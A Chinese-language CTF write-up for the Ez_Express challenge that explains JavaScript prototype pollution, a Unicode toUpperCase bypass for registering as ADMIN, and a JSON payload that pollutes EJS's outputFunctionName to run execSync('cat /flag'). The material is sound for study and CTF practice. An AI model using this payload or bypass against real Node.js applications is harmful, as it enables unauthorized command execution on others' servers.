[GYCTF2020]Ez_Express
知識點:原型鏈污染
原型鏈的特性:
在我們調用一個對象的某屬性時:
1.對象(obj)中尋找這一屬性
2.如果找不到,則在obj.__proto__中尋找屬性
3.如果仍然找不到,則繼續在obj.__proto__.__proto__中尋找這一屬性
以上機制被稱為js的prototype繼承鏈。而原型鏈污染就與這有關
原型鏈污染定義:
如果攻擊者控制並修改了一個對象的原型,那么將可以影響所有和這個對象來自同一個類、父祖類的對象。這種攻擊方式就是原型鏈污染
舉例:
let foo = {bar: 1}
console.log(foo.bar)
foo.__proto__.bar = 2
console.log(foo.bar)
let zoo = {}
console.log(zoo.bar)
結果:
let foo ={bar:1}
console.log(foo.bar)
foo._proto__.bar=2
console.log(foo.bar)
let zoo={}
console.log(zoo.bar)
1
1
思路:js審計如果看見merge,clone函數,可以往原型鏈污染靠,跟進找一下關鍵的函數,找污染點
切記一定要讓其__proto__解析為一個鍵名
byc師傅blog的總結:
總結下:
1.原型鏈污染屬於前端漏洞應用,基本上需要源碼審計功力來進行解決;找到merge(),clone()只是確定漏洞的開始
2.進行審計需要以達成RCE為主要目的。通常exec, return等等都是值得注意的關鍵字。
3.題目基本是以彈shell為最終目的。目前來看很多Node.js傳統彈shell方式並不適用.wget,curl,以及我兩道題都用到的nc比較適用。
來做題
看到提示
友情提示
如果您還不是會員,請注冊
用戶名只支持大寫
請使用ADMIN登錄
提示我們需要使用admin來登錄
先掃一下,發現有www.zip源碼泄露

下載源碼審一下
const merge = (a, b) => {
for (var attr in b) {
if (isObject(a[attr]) && isObject(b[attr])) {
merge(a[attr], b[attr]);
} else {
a[attr] = b[attr];
}
}
return a
}
const clone = (a) => {
return merge({}, a);
}
/route/index.js中用了merge()和clone(),必是原型鏈了
往下找到clone()的位置
router.post('/action', function (req, res) {
if(req.session.user.user!="ADMIN"){res.end("<script>alert('ADMIN is asked');history.go(-1);</script>")}
req.session.user.data = clone(req.body);
res.end("<script>alert('success');history.go(-1);</script>");
});
需要admin賬號才能用到clone()
於是去到/login處
router.post('/login', function (req, res) {
if(req.body.Submit=="register"){
if(safeKeyword(req.body.userid)){
res.end("<script>alert('forbid word');history.go(-1);</script>")
}
req.session.user={
'user':req.body.userid.toUpperCase(),
'passwd': req.body.pwd,
'isLogin':false
}
res.redirect('/');
}
else if(req.body.Submit=="login"){
if(!req.session.user){res.end("<script>alert('register first');history.go(-1);</script>")}
if(req.session.user.user==req.body.userid&&req.body.pwd==req.session.user.passwd){
req.session.user.isLogin=true;
}
else{
res.end("<script>alert('error passwd');history.go(-1);</script>")
}
}
res.redirect('/'); ;
});
可以看到驗證了注冊的用戶名不能為admin(大小寫),不過有個地方可以注意到
'user':req.body.userid.toUpperCase(),
這里將user給轉為大寫了,這種轉編碼的通常都很容易出問題
參考p牛的文章
Fuzz中的javascript大小寫特性
https://www.leavesongs.com/HTML/javascript-up-low-ercase-tip.html
注冊admın(此admın非彼admin,仔細看i部分)
特殊字符繞過
toUpperCase()
其中混入了兩個奇特的字符"ı"、"ſ"。
這兩個字符的“大寫”是I和S。也就是說"ı".toUpperCase() == 'I',"ſ".toUpperCase() == 'S'。通過這個小特性可以繞過一些限制。
toLowerCase()
這個"K"的“小寫”字符是k,也就是"K".toLowerCase() == 'k'.
有一個輸入框 你最喜歡的語言,還有提示flag in /flag
登錄為admin后,就來到了原型鏈污染的部分
找污染的參數
router.get('/info', function (req, res) {
res.render('index',data={'user':res.outputFunctionName});
})
可以看到在/info下,使用將outputFunctionName渲染入index中,而outputFunctionName是未定義的
res.outputFunctionName=undefined;
也就是可以通過污染outputFunctionName進行SSTI
於是抓/action的包,Content-Type設為application/json
payload
{"lua":"a","__proto__":{"outputFunctionName":"a=1;return global.process.mainModule.constructor._load('child_process').execSync('cat /flag')//"},"Submit":""}

然后/info路由,下載到flag
